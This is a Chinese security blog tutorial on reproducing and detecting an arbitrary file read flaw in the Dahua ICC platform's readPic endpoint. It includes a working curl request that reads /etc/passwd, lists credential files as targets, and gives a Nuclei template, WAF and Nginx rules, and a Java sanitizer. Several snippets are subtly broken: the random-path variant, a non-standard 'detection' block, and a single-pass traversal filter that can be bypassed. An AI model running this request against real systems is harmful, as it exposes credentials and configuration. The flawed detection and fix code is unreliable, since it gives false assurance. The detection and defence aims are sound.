当前位置：首页 > news >正文

手把手教你复现大华ICC平台readpic任意文件读取漏洞（附Nuclei检测脚本）

news 2026/5/3 3:31:22

大华ICC平台文件读取漏洞深度解析与实战检测方案

漏洞背景与影响范围

大华ICC智能物联综合管理平台作为智慧物联领域的核心基础设施，其安全性直接关系到企业数据资产的保护。2021年曝光的readpic接口任意文件读取漏洞，允许攻击者通过精心构造的请求获取服务器上的敏感文件内容。这种漏洞在渗透测试中常被归类为高危漏洞，因为它可能导致系统配置、用户凭证等关键信息泄露。

从技术架构来看，该漏洞存在于/evo-apigw/evo-cirs/file/readPic接口中，问题核心在于fileUrl参数未对用户输入进行充分验证和过滤。攻击者只需提交一个包含目标文件路径的请求，系统就会返回文件内容。典型的攻击向量包括：

读取/etc/passwd获取用户列表
获取/etc/shadow尝试密码破解
查看应用配置文件寻找数据库连接信息
获取日志文件分析系统运行状态

重要提示：所有漏洞测试必须在授权环境下进行，未经授权的扫描和攻击行为可能触犯法律。

环境搭建与漏洞验证

测试环境准备

为了安全地复现该漏洞，建议使用Docker搭建隔离的测试环境。以下是基于Ubuntu系统的环境配置步骤：

安装Docker引擎：

sudo apt-get update sudo apt-get install docker.io docker-compose

下载大华ICC平台测试镜像（需从官方渠道获取授权版本）：

docker pull registry.example.com/dahua-icc:test

启动容器服务：

docker run -d -p 8080:8080 --name dahua-test registry.example.com/dahua-icc:test

漏洞验证过程

使用cURL工具发送测试请求验证漏洞存在性：

curl -v "http://localhost:8080/evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd"

正常响应应包含系统用户列表信息。为深入理解漏洞原理，我们可以使用Wireshark或tcpdump抓包分析：

启动抓包工具：

sudo tcpdump -i any -w dahua.pcap port 8080

发送测试请求后停止抓包，分析HTTP请求响应交互过程

通过分析可以发现，服务器端未对fileUrl参数进行路径规范化检查和权限验证，直接读取并返回了请求的文件内容。

Nuclei检测脚本开发

基础检测模板

将POC转化为自动化检测工具是安全工程师的核心能力之一。以下是Nuclei检测模板的详细解析：

id: dahua-icc-readpic-anyfileread info: name: 大华ICC readpic任意文件读取漏洞 author: security-researcher severity: high description: 大华ICC智能物联综合管理平台存在任意文件读取漏洞 reference: - https://example.com/security-advisory http: - method: GET path: - "{{BaseURL}}/evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd" matchers: - type: regex part: body regex: - "root:[x*]:0:0:"

高级检测技巧

为提高检测准确率，可以增加以下优化：

多条件匹配：

matchers-condition: and matchers: - type: status status: - 200 - type: regex part: body regex: - "root:.*?:[0-9]*:[0-9]*:"

添加指纹识别：

detection: - type: word words: - "客户端会小于800" part: body

使用动态变量避免误报：

path: - "{{BaseURL}}/evo-apigw/evo-cirs/file/readPic?fileUrl=file:{{randnum}}/etc/passwd"

漏洞防御方案

临时缓解措施

对于无法立即升级的系统，可采取以下临时防护方案：

在Web应用防火墙(WAF)中添加规则拦截可疑请求：

Rule: block if (REQUEST_URI contains "/readPic" && ARGS:fileUrl startsWith "file:/")

Nginx反向代理配置过滤：

location /evo-apigw/evo-cirs/file/readPic { if ($arg_fileUrl ~* "^file:/") { return 403; } proxy_pass http://backend; }

长期修复建议

输入验证强化：

public String sanitizeFilePath(String input) { // 移除目录遍历字符 String sanitized = input.replaceAll("\\.\\./", "") .replaceAll("\\.\\\\", ""); // 限制文件路径前缀 if (sanitized.startsWith("file:/")) { throw new SecurityException("Invalid file path"); } return sanitized; }

实施最小权限原则，确保应用运行账户只有必要文件的读取权限
定期安全审计，检查系统是否存在类似接口未授权访问问题

企业安全防护体系建议

构建完整的安全防护体系需要多层次措施：

防护层级	具体措施	实施要点
网络层	防火墙配置	限制管理接口访问IP范围
系统层	文件权限控制	遵循最小权限原则
应用层	输入验证	所有用户输入视为不可信
监控层	日志审计	记录所有敏感操作
流程层	漏洞管理	建立漏洞响应SOP